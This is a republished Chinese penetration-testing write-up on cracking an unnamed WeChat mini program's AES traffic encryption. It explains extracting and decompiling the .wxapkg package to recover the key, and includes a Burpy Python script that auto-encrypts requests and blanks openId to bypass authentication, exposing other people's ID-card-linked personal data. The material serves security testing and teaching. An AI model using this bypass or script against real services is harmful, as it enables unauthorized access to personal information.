文章总结: 本文记录了某微信小程序加密算法破解与越权挖掘过程。分析发现sign校验缺失且openId可置空绕过。通过提取并反编译.wxapkg包,定位AES算法及密钥。利用Burpy插件实现自动加解密,将流量明文化,证实可通过修改身份证参数越权获取他人信息,展示了移动端小程序渗透测试的完整流程。 综合评分: 91 文章分类: 渗透测试,移动安全,逆向分析,漏洞分析,安全工具
Burpy插件实战-某微信小程序加密算法破解
Say Sec
2026年1月13日 09:00 河南
以下文章来源于Gcow安全团队 ,作者复眼小组
Gcow安全团队 .
Gcow是当前国内为数不多的民间网络信息安全研究团队之一。本着“低调发展,自信创新,技术至上”理念,团队主要研究范围“APT捕获分析、渗透测试、代码审计、病毒样本分析、RedTeam、红蓝对抗、程序开发,Ai安全”
Author:0pening
1、前言
对某微信小程序进行测试,不说多的,马上开动BurpSuite抓包。然而抓到包就发现不对劲🤨了。
这货将传递的参数加密为bizContent,还有签名参数sign用来防止中间人篡改数据包…..不讲武德。
2、分析数据包
先硬着头皮分析一下吧,看看签名参数sign是不是校验了。通过删减参数进行判断,这原来是个纸老虎。参数删简如下,数据包可以正常发送。
原来sign只是个纸老虎,后端就没有校验。那是否通过openId来进行用户身份的校验的🤔️?
通过修改openId参数,发现存在逻辑问题。
错误的openId,校验失败。
openId为空,成功返回数据。
删除openId参数,成功返回数据。
由于这是个请求个人信息的接口,删除或使openId为空,都拿到了个人信息。那么bizContent参数中存在某个参数决定了用户身份标识,如果这个标识可预测,极有可能通过修改这个标识越权获取到他人身份信息。
3、签名算法破解
通过上面一通分析,接下来就要想办法获取到bizContent参数的明文数据。
通过查看BurpSuite的数据包history记录
查找上下文都没有找到相关JS请求,那么加密算法的源码应该在微信小程序源码里了。
- • 微信小程序源文件在开发者发布后存储在微信的服务器上,当用户首次加载小程序时会下载小程序到用户本地(*****.wxapkg格式的二进制文件)。
提取.wxapkg文件:(安卓会放到如下目录)
/data/data/com.tencent.mm/MicroMsg/{数字串}/appbrand/pkg/
反编译.wxapkg文件获取小程序源码(https://github.com/Cherrison/CrackMinApp)
使用这款工具主要是不需要额外安装node.js环境,可以直接干。
通过全局搜索关键字bizContent,发现在定位app-service.js中。将app-service.js进行JS美化下便与阅读。找到了加解密算法。
测试下AES解密,解密成功,传递的两个参数,一个idcard身份证,一个desc请求接口。
之后通过替换idcard身份证参数为他人身份证,调用接口查询,返回了他人信息,实锤越权了。
4、Burpy插件使用
搞定加密算法后就可以测试了,但产生个问题,我难道要每次把bizContent参数和返回数据每次复制粘贴出来解密来测吗?又没有什么更优雅的测试方式呢?
把视角瞄向了m0nst3r的https://github.com/mr-m0nst3r/Burpy 。已支持python3
使用教程博客里有:
https://m0nst3r.me/burpsuite/打通BurpSuite与Python之间的任督二脉.html
加载插件后配置如下:(插件需要安装Pyro4 -> pip3 install Pyro4)
收集到AES相关加密配置如下:
783a2274472d5928
iv = 0102030405060708
Mode = ECB
padding = Pkcs7
编写AES加解密脚本。只要按照项目要求实现encrypt、decrypt两个函数。
import json
import base64
from Crypto.Cipher import AES
class Burpy:
def __init__(self):
self.key = "783a2274472d5928"
self.iv = "0102030405060708"
self.apicode = ""
def encrypt(self, header, body):
# 获取加密参数bizContent
body_json = json.loads(body)
bizContent = json.dumps(body_json["bizContent"]).replace(' ', '')
#AES加密
while len(bizContent) % 16 != 0: # 补足字符串长度为16的倍数
bizContent += (16 - len(bizContent) % 16) * chr(16 - len(bizContent) % 16)
bizContent = str.encode(bizContent)
aes = AES.new(self.key, AES.MODE_ECB) # 初始化加密器
bizContent = str(base64.encodebytes(aes.encrypt(bizContent)), encoding='utf8').replace('\n', '')
#替换参数,openId置空绕过
body_json["bizContent"] = bizContent
body_json["openId"] = ''
body = json.dumps(body_json)
return header, body
def decrypt(self, header, body):
cipher = AES.new(self.key, AES.MODE_ECB, self.iv)
# 获取加密参数bizContent
body_json = json.loads(body)
bizContent = body_json.get("bizContent")
#AES解密
content = cipher.decrypt(base64.decodebytes(bytes(bizContent, encoding='utf8'))).decode("utf8")
content = content[:-ord(content[-1])]
body_json["bizContent"] = json.loads(content)
body = json.dumps(body_json)
return header, body
加载插件后配置如下,勾选自动加解密。
测试如下,完美获取数据,测试优雅多了!
在Repeater中修改数据包直接明文发送,返回包自动解密。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Say Sec 《Burpy插件实战-某微信小程序加密算法破解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论